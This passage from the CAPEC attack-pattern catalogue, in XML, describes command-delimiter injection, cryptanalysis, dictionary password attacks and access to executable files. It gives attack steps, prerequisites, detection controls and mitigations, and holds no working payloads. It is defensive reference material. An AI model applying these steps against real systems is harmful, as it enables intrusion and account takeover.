						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>Spidering web sites for all available links</Attack_Step_Technique_Description>
							<Environments>env-Web</Environments>
						</Attack_Step_Technique>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>Inventory all application inputs</Attack_Step_Technique_Description>
							<Environments>env-All</Environments>
						</Attack_Step_Technique>
						<Indicator ID="c15s2i1" type="Positive">
							<Indicator_Description>Attacker develops a list of valid inputs</Indicator_Description>
							<Environments>env-Web env-ClientServer</Environments>
						</Indicator>
						<Outcome ID="c15s2o1" type="Success">The attacker develops a list of likely command delimiters.</Outcome>
						<Security_Control ID="c151s2s1" type="Detective">Monitor velocity of page fetching in web logs. Humans who view a page and select a link from it will click far slower and far less regularly than tools. Tools make requests very quickly and the requests are typically spaced apart regularly (e.g. 0.8 seconds between them).</Security_Control>
						<Security_Control ID="c151s2s2" type="Detective">Create links on some pages that are visually hidden from web browsers. Using IFRAMES, images, or other HTML techniques, the links can be hidden from web browsing humans, but visible to spiders and programs. A request for the page, then, becomes a good predictor of an automated tool probing the application.</Security_Control>
						<Security_Control ID="c151s2s3" type="Preventative">Actively monitor the application and either deny or redirect requests from origins that appear to be automated.</Security_Control>
						<Security_Control ID="c151s2s4" type="Detective">Monitor velocity of feature activations (non-web software). Humans who activate features (click buttons, request actions, invoke APIs, etc.) will do so far slower and far less regularly than tools. Tools make requests very quickly and the requests are typically spaced apart regularly (e.g. 0.8 seconds between them).</Security_Control>
					</Attack_Step>
				</Attack_Phase>
				<Attack_Phase Name="Experiment">
					<Attack_Step>
						<Attack_Step_Title>Attempt delimiters in inputs</Attack_Step_Title>
						<Attack_Step_Description>The attacker systematically attempts variations of delimiters on known inputs, observing the application's response each time.</Attack_Step_Description>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>Inject command delimiters using network packet injection tools (netcat, nemesis, etc.)</Attack_Step_Technique_Description>
							<Environments>env-CommProtocol env-Web env-Peer2Peer env-ClientServer</Environments>
						</Attack_Step_Technique>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>Inject command delimiters using web test frameworks (proxies, TamperData, custom programs, etc.)</Attack_Step_Technique_Description>
							<Environments>env-Web</Environments>
						</Attack_Step_Technique>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>Enter command delimiters directly in input fields.</Attack_Step_Technique_Description>
							<Environments>env-Embedded env-Local env-ClientServer</Environments>
						</Attack_Step_Technique>
						<Indicator ID="c15s3i1" type="Positive">
							<Indicator_Description>Attack step 2  is successful.</Indicator_Description>
							<Environments>env-All</Environments>
						</Indicator>
						<Outcome ID="c15s3o1" type="Success">One or more command delimiters for the platform provokes an unexpected response from the software, which can be varied by the attacker based on the input.</Outcome>
					</Attack_Step>
				</Attack_Phase>
				<Attack_Phase Name="Exploit">
					<Attack_Step>
						<Attack_Step_Title>Use malicious command delimiters</Attack_Step_Title>
						<Attack_Step_Description>The attacker uses combinations of payload and carefully placed command delimiters to attack the software.</Attack_Step_Description>
						<Outcome ID="c15s4o1" type="Success">The software performs as expected by the attacker.</Outcome>
						<Security_Control ID="c15s4s1" type="Detective"/>
					</Attack_Step>
				</Attack_Phase>
			</Attack_Execution_Flow>
		</Description>
		<Attack_Prerequisites>
			<Attack_Prerequisite>Software's input validation or filtering must not detect and block presence of additional malicious command.</Attack_Prerequisite>
		</Attack_Prerequisites>
		<Typical_Severity>High</Typical_Severity>
		<Typical_Likelihood_of_Exploit>
			<Likelihood>High</Likelihood>
		</Typical_Likelihood_of_Exploit>
		<Methods_of_Attack>
			<Method_of_Attack>Injection</Method_of_Attack>
		</Methods_of_Attack>
		<Examples-Instances>
			<Example-Instance>
				<Example-Instance_Description>By appending special characters, such as a semicolon or other commands that are executed by the target process, the attacker is able to execute a wide variety of malicious commands in the target process space, utilizing the target's inherited permissions, against any resource the host has access to. The possibilities are vast including injection attacks against RDBMS (SQL Injection), directory servers (LDAP Injection), XML documents (XPath and XQuery Injection), and command line shells. In many injection attacks, the results are converted back to strings and displayed to the client process such as a web browser without tripping any security alarms, so the network firewall does not log any out of the ordinary behavior.
				
				LDAP servers house critical identity assets such as user, profile, password, and group information that is used to authenticate and authorize users. An attacker that can query the directory at will and execute custom commands against the directory server is literally working with the keys to the kingdom in many enterprises. When user, organizational units, and other directory objects are queried by building the query string directly from user input with no validation, or other conversion, then the attacker has the ability to use any LDAP commands to query, filter, list, and crawl against the LDAP server directly in the same manner as SQL injection gives the ability to the attacker to run SQL commands on the database.</Example-Instance_Description>
			</Example-Instance>
		</Examples-Instances>
		<Attacker_Skill_or_Knowledge_Required>Medium: The attacker has to identify injection vector, identify the specific commands, and optionally collect the output, i.e. from an interactive session.</Attacker_Skill_or_Knowledge_Required>
		<Resources_Required>Ability to communicate synchronously or asynchronously with server. Optionally, ability to capture output directly through synchronous communication or other method such as FTP.</Resources_Required>
		<Solutions_and_Mitigations>
			<Solution_or_Mitigation>Design: Perform whitelist validation against a positive specification for command length, type, and parameters.</Solution_or_Mitigation>
			<Solution_or_Mitigation>Design: Limit program privileges, so if commands circumvent program input validation or filter routines then commands do not running under a privileged account</Solution_or_Mitigation>
			<Solution_or_Mitigation>Implementation: Perform input validation for all remote content.</Solution_or_Mitigation>
			<Solution_or_Mitigation>Implementation: Use type conversions such as JDBC prepared statements.</Solution_or_Mitigation>
		</Solutions_and_Mitigations>
		<Attack_Motivation-Consequences>
			<Attack_Motivation-Consequence>Run Arbitrary Code</Attack_Motivation-Consequence>
			<Attack_Motivation-Consequence>Information Leakage</Attack_Motivation-Consequence>
		</Attack_Motivation-Consequences>
		<Context_Description>"Attack Pattern: Command Delimiters
		"Using the semicolon or other off-nominal characters, multiple commands can be strung together. Unsuspecting target programs will execute all the commands."		
		[Hoglund and McGraw 04]</Context_Description>
		<Injection_Vector>Malicious input delivered through appending delimiters to standard input </Injection_Vector>
		<Payload>Command(s) appended to valid parameters to enable attacker to execute commands on host</Payload>
		<Activation_Zone>Client machine and client network</Activation_Zone>
		<Payload_Activation_Impact>Enables attacker to execute server side code with any commands that the program owner has privileges to.</Payload_Activation_Impact>
		<Related_Weaknesses>
			<Related_Weakness>
				<CWE_ID>146</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>77</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>184</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>78</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>185</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>93</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>140</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>157</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>138</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>154</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>697</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>713</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
		</Related_Weaknesses>
		<Related_Attack_Patterns>
			<Related_Attack_Pattern>
				<Related_Attack_Pattern_ID>6</Related_Attack_Pattern_ID>
				<Related_Attack_Pattern_Relationship_Type>More Detailed</Related_Attack_Pattern_Relationship_Type>
				<Relationship_Description/>
			</Related_Attack_Pattern>
		</Related_Attack_Patterns>
		<Purpose>Penetration</Purpose>
		<CIA_Impact>
			<Confidentiality_Impact>High</Confidentiality_Impact>
			<Integrity_Impact>High</Integrity_Impact>
			<Availability_Impact>High</Availability_Impact>
		</CIA_Impact>
		<Technical_Context>
			<Architectural_Paradigm>All</Architectural_Paradigm>
			<Framework>All</Framework>
			<Platform>All</Platform>
			<Language>All</Language>
		</Technical_Context>
		<References>
			<Reference>G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004.</Reference>
		</References>
		<Source>
			<Submission>
				<Submitter>G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004.</Submitter>
				<Submitter_Organization>Cigital, Inc</Submitter_Organization>
				<Submission_Date>2007-01-01</Submission_Date>
			</Submission>
			<Modification>
				<Modifier>Gunnar Peterson</Modifier>
				<Modifier_Organization>Cigital, Inc</Modifier_Organization>
				<Modification_Date>2007-02-28</Modification_Date>
				<Modification_Comment>Fleshed out content to CAPEC schema from the original descriptions in "Exploiting Software"</Modification_Comment>
			</Modification>
			<Modification>
				<Modifier>Sean Barnum</Modifier>
				<Modifier_Organization>Cigital, Inc</Modifier_Organization>
				<Modification_Date>2007-03-09</Modification_Date>
				<Modification_Comment>Review and revise</Modification_Comment>
			</Modification>
			<Modification>
				<Modifier>Paco Hope</Modifier>
				<Modifier_Organization>Cigital, Inc.</Modifier_Organization>
				<Modification_Date>2007-10-20</Modification_Date>
				<Modification_Comment>Added extended Attack Execution Flow</Modification_Comment>
			</Modification>
		</Source>
	</Attack_Pattern>
	<Attack_Pattern CAPEC_ID="97" Name="Cryptanalysis" Pattern_Abstraction="Standard">
		<Description>
			<Summary>Cryptanalysis is a process of finding weaknesses in cryptographic algorithms and using these weaknesses to decipher the ciphertext without knowing the secret key (instance deduction).  Sometimes the weakness is not in the cryptographic algorithm itself, but rather in how it is applied that makes cryptanalysis successful.  An attacker may have other goals as well, such as:   
			
			1.  Total Break - Finding the secret key
			2.  Gobal Deduction - Finding a functionally equivalent algorithm for encryption and decryption that does not require knowledge of the secret key.
			3.  Information Deduction - Gaining some information about plaintexts or ciphertexts that was not previously known
			4.  Distinguishing Algorithm - The attacker has the ability to distinguish the output of the encryption (ciphertext) from a random permutation of bits
			
			The goal of the attacker performing cryptanalysis will depend on the specific needs of the attacker in a given attack context.  In most cases, if cryptanalysis is successful at all, an attacker will not be able to go past being able to deduce some information about the plaintext (goal 3).  However, that may be sufficient for an attacker, depending on the context.</Summary>
			<Attack_Execution_Flow>
				<Attack_Phase Name="">
					<Attack_Step>
						<Attack_Step_Description>An attacker discovers a weakness in the cryptographic algorithm or a weakness in how it was applied to a particular chunk of plaintext.</Attack_Step_Description>
					</Attack_Step>
					<Attack_Step>
						<Attack_Step_Description>An attacker leverages the discovered weakness to decrypt, partially decrypt or infer some information about the contents of the encrypted message.  All of that is done without knowing the secret key.</Attack_Step_Description>
					</Attack_Step>
				</Attack_Phase>
			</Attack_Execution_Flow>
		</Description>
		<Attack_Prerequisites>
			<Attack_Prerequisite>The target software utilizes some sort fo cryptographic algorithm.</Attack_Prerequisite>
			<Attack_Prerequisite>An underlying weaknesses exists either in the cryptographic algorithm used or in the way that it was applied to a particular chunk of plaintext.</Attack_Prerequisite>
			<Attack_Prerequisite>The encryption algorithm is known to the attacker.</Attack_Prerequisite>
			<Attack_Prerequisite>An attacker has access to the ciphertext.</Attack_Prerequisite>
		</Attack_Prerequisites>
		<Typical_Severity>Very High</Typical_Severity>
		<Typical_Likelihood_of_Exploit>
			<Likelihood>Very Low</Likelihood>
		</Typical_Likelihood_of_Exploit>
		<Methods_of_Attack>
			<Method_of_Attack>Analysis</Method_of_Attack>
			<Method_of_Attack>Brute Force</Method_of_Attack>
		</Methods_of_Attack>
		<Examples-Instances>
			<Example-Instance>
				<Example-Instance_Description>A very easy to understand (but totally inapplicable to modern cryptographic ciphers) example is a cryptanalysis technique called frequency analysis that can be successfully applied to the very basic classic encryption algorithms that performed monoalphabetic substitution replacing each letter in the plaintext with its predetermined mapping letter from the same alphabet.  This was considered an improvement over a more basic technique that would simply shift all of the letters of the plaintext by some constant number of positions and replace the original letters with the new letter with the resultant alphabet position.  While monoalphabetic substitution ciphers are resilient to blind brute force, they can be broken easily with nothing more than a pen and paper.  Frequency analysis cryptanalysis uses the fact that natural language is not random and monoalphabetic substitution does not hide the statistical properties of the natural language.  So if the letter "E" in an English language occurs with a certain known frequency (about 12.7%), whatever "E" was substituted with to get to the ciphertext, will occur with the similar frequency.  Having this frequency information allows the cryptanalyst to quickly determine the substitutions and decipher the ciphertext.  Frequency analysis techniques are not applicable to modern ciphers as they are all resilient to it (unless this is a very bad case of a homegrown encryption algorithm).  This example is just here to illustrate a rudimentary example of cryptanalysis.</Example-Instance_Description>
			</Example-Instance>
		</Examples-Instances>
		<Attacker_Skill_or_Knowledge_Required>High - Cryptanalysis generally requires a very significant level of understanding of mathematics and computation.</Attacker_Skill_or_Knowledge_Required>
		<Resources_Required>Computing resource requirements will vary based on the complexity of a given cryptanalysis technique.  Access to the encryption/decryption routines of the algorithm is also required.</Resources_Required>
		<Solutions_and_Mitigations>
			<Solution_or_Mitigation>Use proven cryptographic algorithms with recommended key sizes.</Solution_or_Mitigation>
			<Solution_or_Mitigation>Ensure that the algorithms are used properly.  That means:
				 
				 1.  Not rolling out your own crypto;  Use proven algorithms and implementations.
				 2.  Choosing initialization vectors with sufficiently random numbers
				 3.  Generating key material using good sources of randomness and avoiding known weak keys
				 4.  Using proven protocols and their implementations.
				 5.  Picking the most appropriate cryptographic algorithm for your usage context and data</Solution_or_Mitigation>
		</Solutions_and_Mitigations>
		<Attack_Motivation-Consequences>
			<Attack_Motivation-Consequence>Information Leakage</Attack_Motivation-Consequence>
			<Attack_Motivation-Consequence>Data Modification</Attack_Motivation-Consequence>
			<Attack_Motivation-Consequence>Privilege Escalation</Attack_Motivation-Consequence>
		</Attack_Motivation-Consequences>
		<Related_Weaknesses>
			<Related_Weakness>
				<CWE_ID>327</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>693</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>719</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
		</Related_Weaknesses>
		<Related_Attack_Patterns>
			<Related_Attack_Pattern>
				<Related_Attack_Pattern_ID>20</Related_Attack_Pattern_ID>
				<Related_Attack_Pattern_Relationship_Type>More Detailed</Related_Attack_Pattern_Relationship_Type>
				<Related_Attack_Pattern_Relationship_Type>Occasionally Follows</Related_Attack_Pattern_Relationship_Type>
				<Relationship_Description/>
			</Related_Attack_Pattern>
		</Related_Attack_Patterns>
		<Purpose>Reconnaissance</Purpose>
		<CIA_Impact>
			<Confidentiality_Impact>High</Confidentiality_Impact>
			<Integrity_Impact>High</Integrity_Impact>
			<Availability_Impact>Low</Availability_Impact>
		</CIA_Impact>
		<Technical_Context>
			<Architectural_Paradigm>All</Architectural_Paradigm>
			<Framework>All</Framework>
			<Platform>All</Platform>
			<Language>All</Language>
		</Technical_Context>
		<References>
			<Reference>Wikipedia (Cryptanalysis):  www.wikipedia.org</Reference>
		</References>
		<Source>
			<Submission>
				<Submitter>Sean Barnum</Submitter>
				<Submitter_Organization>Cigital, Inc.</Submitter_Organization>
				<Submission_Date>2007-03-25</Submission_Date>
				<Submission_Comment>Identified priority for pattern creation</Submission_Comment>
			</Submission>
			<Modification>
				<Modifier>Evgeny Lebanidze</Modifier>
				<Modifier_Organization>Cigital, Inc.,</Modifier_Organization>
				<Modification_Date>2007-03-20</Modification_Date>
				<Modification_Comment>Fleshed out content for pattern</Modification_Comment>
			</Modification>
			<Modification>
				<Modifier>Sean Barnum</Modifier>
				<Modifier_Organization>Cigital, Inc</Modifier_Organization>
				<Modification_Date>2007-04-16</Modification_Date>
				<Modification_Comment>Review and revise</Modification_Comment>
			</Modification>
		</Source>
	</Attack_Pattern>
	<Attack_Pattern CAPEC_ID="16" Name="Dictionary-based Password Attack" Pattern_Abstraction="Detailed">
		<Description>
			<Summary>An attacker tries each of the words in a dictionary as passwords to gain access to  the system via some user's account.  If the password chosen by the user was a word within the dictionary, this attack will be successful (in the absence of other mitigations). This is a specific instance of the password brute forcing attack pattern.</Summary>
			<Attack_Execution_Flow>
				<Attack_Phase Name="Explore">
					<Attack_Step>
						<Attack_Step_Title>Determine application's/system's password policy</Attack_Step_Title>
						<Attack_Step_Description>Determine the password policies of the target application/system.</Attack_Step_Description>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>Determine minimum and maximum allowed password lengths.</Attack_Step_Technique_Description>
							<Environments>env-All</Environments>
						</Attack_Step_Technique>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>Determine format of allowed passwords (whether they are required or allowed to contain numbers, special characters, etc., or whether they are allowed to contain words from the dictionary).</Attack_Step_Technique_Description>
							<Environments>env-All</Environments>
						</Attack_Step_Technique>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>Determine account lockout policy (a strict account lockout policy will prevent brute force attacks).</Attack_Step_Technique_Description>
							<Environments>env-All</Environments>
						</Attack_Step_Technique>
						<Indicator ID="c49s0i1" type="Positive">
							<Indicator_Description>Passwords are used in the application/system</Indicator_Description>
							<Environments>env-All</Environments>
						</Indicator>
						<Indicator ID="c49s0i2" type="Negative">
							<Indicator_Description>Passwords are not used in the application/system.</Indicator_Description>
							<Environments>env-All</Environments>
						</Indicator>
					</Attack_Step>
					<Attack_Step>
						<Attack_Step_Title>Select dictionaries</Attack_Step_Title>
						<Attack_Step_Description>Pick the dictionaries to be used in the attack (e.g. different languages, specific terminology, etc.)</Attack_Step_Description>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>Select dictionary based on particular users' preferred languages.</Attack_Step_Technique_Description>
							<Environments>env-All</Environments>
						</Attack_Step_Technique>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>Select dictionary based on the application/system's supported languages.</Attack_Step_Technique_Description>
							<Environments>env-All</Environments>
						</Attack_Step_Technique>
					</Attack_Step>
					<Attack_Step>
						<Attack_Step_Title>Determine username(s) to target</Attack_Step_Title>
						<Attack_Step_Description>Determine username(s) whose passwords to crack.</Attack_Step_Description>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>Obtain username(s) by sniffing network packets.</Attack_Step_Technique_Description>
							<Environments>env-CommProtocol env-Peer2Peer env-ClientServer</Environments>
						</Attack_Step_Technique>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>Obtain username(s) by querying application/system (e.g. if upon a failed login attempt, the system indicates whether the entered username was valid or not)</Attack_Step_Technique_Description>
							<Environments>env-All</Environments>
						</Attack_Step_Technique>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>Obtain usernames from filesystem (e.g. list of directories in C:\Documents and Settings\ in Windows, and list in /etc/passwd in UNIX-like systems)</Attack_Step_Technique_Description>
							<Environments>env-Embedded env-Local</Environments>
						</Attack_Step_Technique>
						<Indicator ID="c16s2i1" type="Negative">
							<Indicator_Description>Remote application or system provides no indication regarding whether a given username is valid or not.</Indicator_Description>
							<Environments>env-ClientServer env-Peer2Peer env-Web env-CommProtocol</Environments>
						</Indicator>
						<Outcome ID="c16s2o1" type="Success">At least one valid username found.</Outcome>
						<Outcome ID="c16s2o2" type="Failure">Presence of any valid usernames could not be established.</Outcome>
						<Security_Control ID="c16s2sc1" type="Preventative">Do not reveal information regarding validity of particular usernames to users.</Security_Control>
						<Security_Control ID="c16s2sc2" type="Corrective">Lock out accounts whose usernames are suspected to have been compromised.</Security_Control>
					</Attack_Step>
				</Attack_Phase>
				<Attack_Phase Name="Exploit">
					<Attack_Step>
						<Attack_Step_Title>Use dictionary to crack passwords.</Attack_Step_Title>
						<Attack_Step_Description>Use a password cracking tool that will leverage the dictionary to feed passwords to the system and see if they work.				</Attack_Step_Description>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>Try all words in the dictionary, as well as common misspellings of the words as passwords for the chosen username(s).</Attack_Step_Technique_Description>
							<Environments>env-All</Environments>
						</Attack_Step_Technique>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>Try common combinations of words in the dictionary, as well as common misspellings of the combinations as passwords for the chosen username(s).</Attack_Step_Technique_Description>
							<Environments>env-All</Environments>
						</Attack_Step_Technique>
						<Indicator ID="c16s3i1" type="Negative">
							<Indicator_Description>Application/system does not use password authentication.</Indicator_Description>
							<Environments>env-All</Environments>
						</Indicator>
						<Outcome ID="c16s3o1" type="Success">Attacker determines correct password for a user ID and obtains  access to application or system.</Outcome>
						<Outcome ID="c16s3o2" type="Failure">Attacker is unable to determine correct password for a user ID and obtain access to application or system.</Outcome>
						<Security_Control ID="c16s3sc1" type="Detective">Large number of authentication failures in logs.</Security_Control>
						<Security_Control ID="c16s3sc2" type="Preventative">Enforce strict account lockout policies.</Security_Control>
						<Security_Control ID="c16s3sc3" type="Preventative">Enforce strong passwords (having sufficient length and containing mix of lower case and upper case letters, numbers, and special characters)</Security_Control>
					</Attack_Step>
				</Attack_Phase>
			</Attack_Execution_Flow>
		</Description>
		<Attack_Prerequisites>
			<Attack_Prerequisite>        The system uses one factor password based authentication.</Attack_Prerequisite>
			<Attack_Prerequisite>        The system does not have a sound password policy that is being enforced.</Attack_Prerequisite>
			<Attack_Prerequisite>        The system does not implement an effective password throttling mechanism.</Attack_Prerequisite>
		</Attack_Prerequisites>
		<Typical_Severity>High</Typical_Severity>
		<Typical_Likelihood_of_Exploit>
			<Likelihood>Medium</Likelihood>
		</Typical_Likelihood_of_Exploit>
		<Methods_of_Attack>
			<Method_of_Attack>Brute Force</Method_of_Attack>
		</Methods_of_Attack>
		<Examples-Instances>
			<Example-Instance>
				<Example-Instance_Description>A system user selects the word "treacherous" as their passwords believing that it would be very difficult to guess.  The password-based dictionary attack is used to crack this password and gain access to the account.</Example-Instance_Description>
			</Example-Instance>
			<Example-Instance>
				<Example-Instance_Description>The Cisco LEAP challenge/response authentication mechanism uses passwords in a way that is susceptible to dictionary attacks, which makes it easier for remote attackers to gain privileges via brute force password guessing attacks. 				
          
				Cisco LEAP is a mutual authentication algorithm that supports dynamic derivation of session keys. With Cisco LEAP, mutual authentication relies on a shared secret, the user's logon password&#8212;which is known by the client and the network, and is used to respond to challenges between the user and the Remote Authentication Dial-In User Service (RADIUS) server.
				          
				Methods exist for someone to write a tool to launch an offline dictionary attack on password-based authentications that leverage Microsoft MS-CHAP, such as Cisco LEAP.  The tool leverages large password lists to efficiently launch offline dictionary attacks against LEAP user accounts, collected through passive sniffing or active techniques.</Example-Instance_Description>
				<Example-Instance_Related_Vulnerability>CVE-2003-1096</Example-Instance_Related_Vulnerability>
			</Example-Instance>
		</Examples-Instances>
		<Attacker_Skill_or_Knowledge_Required>Low:  A variety of password cracking tools and dictionaries are available to launch this type of an attack.</Attacker_Skill_or_Knowledge_Required>
		<Resources_Required>A machine with sufficient resources for the job (e.g. CPU, RAM, HD).  Applicable dictionaries are required.  Also a password cracking tool or a custom script that leverages the dictionary database to launch the attack.</Resources_Required>
		<Indicators-Warnings_of_Attack>
			<Indicator-Warning_of_Attack>Many invalid login attempts are coming from the same machine (same IP address) or for the same log in name.  The login attempts use passwords that are dictionary words.</Indicator-Warning_of_Attack>
		</Indicators-Warnings_of_Attack>
		<Obfuscation_Techniques>
			<Obfuscation_Technique>Employ IP spoofing to make it seem like login attempts are coming from different machines.</Obfuscation_Technique>
		</Obfuscation_Techniques>
		<Solutions_and_Mitigations>
			<Solution_or_Mitigation>Create a strong password policy and ensure that your system enforces this policy.</Solution_or_Mitigation>
			<Solution_or_Mitigation>Implement an intelligent password throttling mechanism. Care must be taken to assure that these mechanisms do not excessively enable account lockout attacks such as CAPEC-02.</Solution_or_Mitigation>
		</Solutions_and_Mitigations>
		<Attack_Motivation-Consequences>
			<Attack_Motivation-Consequence>Privilege Escalation</Attack_Motivation-Consequence>
		</Attack_Motivation-Consequences>
		<Related_Weaknesses>
			<Related_Weakness>
				<CWE_ID>521</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>262</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>263</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>693</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
		</Related_Weaknesses>
		<Related_Attack_Patterns>
			<Related_Attack_Pattern>
				<Related_Attack_Pattern_ID>49</Related_Attack_Pattern_ID>
				<Related_Attack_Pattern_Relationship_Type>More Abstract</Related_Attack_Pattern_Relationship_Type>
				<Related_Attack_Pattern_Relationship_Type>Occasionally Follows</Related_Attack_Pattern_Relationship_Type>
				<Relationship_Description/>
			</Related_Attack_Pattern>
			<Related_Attack_Pattern>
				<Related_Attack_Pattern_ID>70</Related_Attack_Pattern_ID>
				<Related_Attack_Pattern_Relationship_Type>More Detailed</Related_Attack_Pattern_Relationship_Type>
				<Related_Attack_Pattern_Relationship_Type>Occasionally Precedes</Related_Attack_Pattern_Relationship_Type>
				<Relationship_Description/>
			</Related_Attack_Pattern>
			<Related_Attack_Pattern>
				<Related_Attack_Pattern_ID>55</Related_Attack_Pattern_ID>
				<Related_Attack_Pattern_Relationship_Type>Occasionally Follows</Related_Attack_Pattern_Relationship_Type>
				<Relationship_Description/>
			</Related_Attack_Pattern>
		</Related_Attack_Patterns>
		<Purpose>Penetration</Purpose>
		<CIA_Impact>
			<Confidentiality_Impact>High</Confidentiality_Impact>
			<Integrity_Impact>Medium</Integrity_Impact>
			<Availability_Impact>Low</Availability_Impact>
		</CIA_Impact>
		<Technical_Context>
			<Architectural_Paradigm>All</Architectural_Paradigm>
			<Framework>All</Framework>
			<Platform>All</Platform>
			<Language>All</Language>
		</Technical_Context>
		<Source>
			<Submission>
				<Submitter>Eugene Lebanidze</Submitter>
				<Submitter_Organization>Cigital, Inc</Submitter_Organization>
				<Submission_Date>2007-02-26</Submission_Date>
			</Submission>
			<Modification>
				<Modifier>Sean Barnum</Modifier>
				<Modifier_Organization>Cigital, Inc</Modifier_Organization>
				<Modification_Date>2007-03-01</Modification_Date>
				<Modification_Comment>Review and revision of content</Modification_Comment>
			</Modification>
			<Modification>
				<Modifier>Richard Struse</Modifier>
				<Modifier_Organization>VOXEM, Inc</Modifier_Organization>
				<Modification_Date>2007-03-26</Modification_Date>
				<Modification_Comment>Review and feedback leading to changes in Solutions</Modification_Comment>
			</Modification>
			<Modification>
				<Modifier>Sean Barnum</Modifier>
				<Modifier_Organization>Cigital, Inc</Modifier_Organization>
				<Modification_Date>2007-04-13</Modification_Date>
				<Modification_Comment>Modified pattern content according to review and feedback</Modification_Comment>
			</Modification>
			<Modification>
				<Modifier>Amit Sethi</Modifier>
				<Modifier_Organization>Cigital, Inc.</Modifier_Organization>
				<Modification_Date>2007-10-29</Modification_Date>
				<Modification_Comment>Added extended Attack Execution Flow</Modification_Comment>
			</Modification>
		</Source>
	</Attack_Pattern>
	<Attack_Pattern CAPEC_ID="17" Name="Accessing, Modifying or Executing Executable Files" Pattern_Abstraction="Standard">
		<Description>
			<Summary>An attack of this type exploits a system's configuration that allows an attacker to either directly access an executable file, for example through shell access; or in a possible worst case allows an attacker to upload a file and then execute it. Web servers, ftp servers, and message oriented middleware systems which have many integration points are particularly vulnerable, because both the programmers and the administrators must be in synch regarding the interfaces and the correct privileges for each interface.</Summary>
		</Description>
		<Attack_Prerequisites>
			<Attack_Prerequisite>System's configuration must allow an attacker to directly access executable files or upload files to execute. This means that any access control system that is supposed to mediate communications between the subkect and the object is set incorrectly or assumes a benign environment.</Attack_Prerequisite>
		</Attack_Prerequisites>
		<Typical_Severity>Very High</Typical_Severity>
		<Typical_Likelihood_of_Exploit>
			<Likelihood>High</Likelihood>
		</Typical_Likelihood_of_Exploit>
		<Methods_of_Attack>
			<Method_of_Attack>Modification of Resources</Method_of_Attack>
			<Method_of_Attack>API Abuse</Method_of_Attack>
		</Methods_of_Attack>
		<Examples-Instances>
			<Example-Instance>
				<Example-Instance_Description>Consider a directory on a web server with the following permissions

					drwxrwxrwx     5 admin  public     170 Nov 17 01:08 webroot

					This could allow an attacker to both execute and upload and execute programs' on the web server. This one vulnerability can be exploited by a threat to probe the system and identify additional vulnerabilities to exploit.</Example-Instance_Description>
			</Example-Instance>
		</Examples-Instances>
		<Attacker_Skill_or_Knowledge_Required>Low: to identify and execute against an overprivileged system interface</Attacker_Skill_or_Knowledge_Required>
		<Resources_Required>Ability to communicate synchronously or asynchronously with server that publishes an overprivileged directory, program, or interface. Optionally, ability to capture output directly through synchronous communication or other method such as FTP.</Resources_Required>
		<Solutions_and_Mitigations>
			<Solution_or_Mitigation>Design: Enforce principle of least privilege</Solution_or_Mitigation>
			<Solution_or_Mitigation>Design: Run server interfaces with a non-root account and/or utilize chroot jails or other configuration techniques to constrain privileges even if attacker gains some limited access to commands.</Solution_or_Mitigation>
			<Solution_or_Mitigation>Implementation: Perform testing such as pentesting and vulnerability scanning to identify directories, programs, and interfaces that grant direct access to executables.</Solution_or_Mitigation>
		</Solutions_and_Mitigations>
